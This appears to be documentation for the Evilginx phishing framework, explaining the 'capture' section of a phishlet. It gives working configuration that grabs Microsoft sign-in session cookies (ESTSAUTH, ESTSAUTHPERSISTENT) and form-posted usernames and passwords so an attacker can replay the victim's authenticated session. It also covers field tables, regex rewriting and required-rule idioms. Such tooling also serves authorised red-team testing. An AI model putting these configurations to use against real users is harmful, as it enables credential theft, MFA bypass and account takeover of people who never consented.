Capture
The capture section defines what counts as a successful phishing session. Each rule either captures a cookie (from a Set-Cookie response header) or a token (any string value extracted from a request or response). Once every rule marked required: true has produced a value, the session is considered complete and the visitor is redirected to the phishlet's redirect_url (or the lure's redirect_url, if set).
capture: {
cookies: [ /* … */ ]
tokens: {
requests: [ /* … */ ]
responses: [ /* … */ ]
}
}
Cookies
Cookie capture searches Set-Cookie headers on responses for cookie names you care about — typically session cookies that, taken together, let you replay the authenticated session in your own browser.
cookies: [
{ trigger: { hostname: '.login.microsoftonline.com', path: '*' },
cookie: { name: 'ESTSAUTH', match_value: '*' },
options: { required: true, allow_overwrite: true } }
{ trigger: { hostname: '.login.microsoftonline.com', path: '*' },
cookie: { name: 'ESTSAUTHPERSISTENT', match_value: '*' },
options: { required: true, allow_overwrite: true } }
]
Fields
| Field | Type | Required | Default | Description |
|---|---|---|---|---|
trigger | trigger | yes | — | Selects the response. Cookie-capture triggers cannot use header, method, or mime_types. |
cookie.name | [matcher] | yes | — | The cookie name to capture. |
cookie.match_value | [matcher] | yes | — | Pattern the cookie value must match. Use '*' to accept any value. |
cookie.value | [string_capture] | no | * | Optional rewriter for the captured value (useful with regex capture groups). |
options.required | bool | no | true | When true, this cookie is required for the session to be considered complete. |
options.allow_overwrite | bool | no | true | When true, a later capture replaces an earlier one. When false, the first captured value sticks. |
Cookie capture triggers default path to "/", not "*". Pass path: "*" explicitly to capture across every path the server sets the cookie on.
A cookie whose domain begins with a leading dot (.login.microsoftonline.com) matches the host itself and all subdomains, while no leading dot in the domain matches only the host itself. Make sure to carefully inspect the domain value in Set-Cookie HTTP headers.
Tokens
Tokens are arbitrary string values captured from anywhere in the HTTP packet — URL paths, query parameters, headers, cookies, JSON bodies, form bodies. They're how you record credentials, MFA codes, internal session identifiers, or anything else that helps reconstruct what happened.
tokens.requests[] captures from outgoing requests; tokens.responses[] captures from incoming responses. Both arrays use the same rule shape:
tokens: {
requests: [
{ trigger: { hostname: "login.microsoftonline.com", path: "/common/login" },
locator: { scope: "body", format: "form", match_key: 'login', match_value: '*' },
token: { name: "#username" },
options: { required: false, allow_overwrite: true } }
{ trigger: { hostname: "login.microsoftonline.com", path: "/common/login" },
locator: { scope: "body", format: "form", match_key: 'passwd', match_value: '*' },
token: { name: "#password" },
options: { required: false, allow_overwrite: true } }
]
}
Fields
| Field | Type | Required | Default | Description |
|---|---|---|---|---|
trigger | trigger | yes | — | Selects the request/response. |
locator | locator | yes | — | Identifies the value to capture. |
token.name | string | yes | — | The name under which the captured value is stored. See Reserved names. |
token.value | [string_capture] | no | * | Optional rewriter for the captured value (useful with regex capture groups). |
options.required | bool | no | true | When true, this token must be captured for the session to complete. |
options.allow_overwrite | bool | no | true | When true, later captures overwrite earlier ones. |
Reserved token names
Two token names have special meaning to Evilginx. Use them for credential capture; everything else is free-form.
| Name | Stored as |
|---|---|
#username | The session's captured username / email. |
#password | The session's captured password. |
The phishlet shown above captures both reserved tokens from a standard form-encoded sign-in request.
Rewriting captured values
token.value can use the capture groups from the locator's match_value regex to reshape the value as it is stored. The full match is ${0}, the first group is ${1}, and so on.
// Strip everything up to and including the '@' in the email, then prefix it:
{
trigger: { hostname: "bladerunner.lab.evilginx.com", path: "/api/v1/auth/login" },
locator: {
scope: "body", format: "json",
match_key: 'email', match_value: '~@(.*)'
},
token: { name: "#username", value: 'beep@${1}' },
options: { required: true, allow_overwrite: true }
}
Required-but-optional rules
A common idiom: have one strict rule that must succeed for the session to complete, plus several looser ones that may or may not match but get recorded if they do. Set the looser rules to required: false and they will not block session completion if they never fire.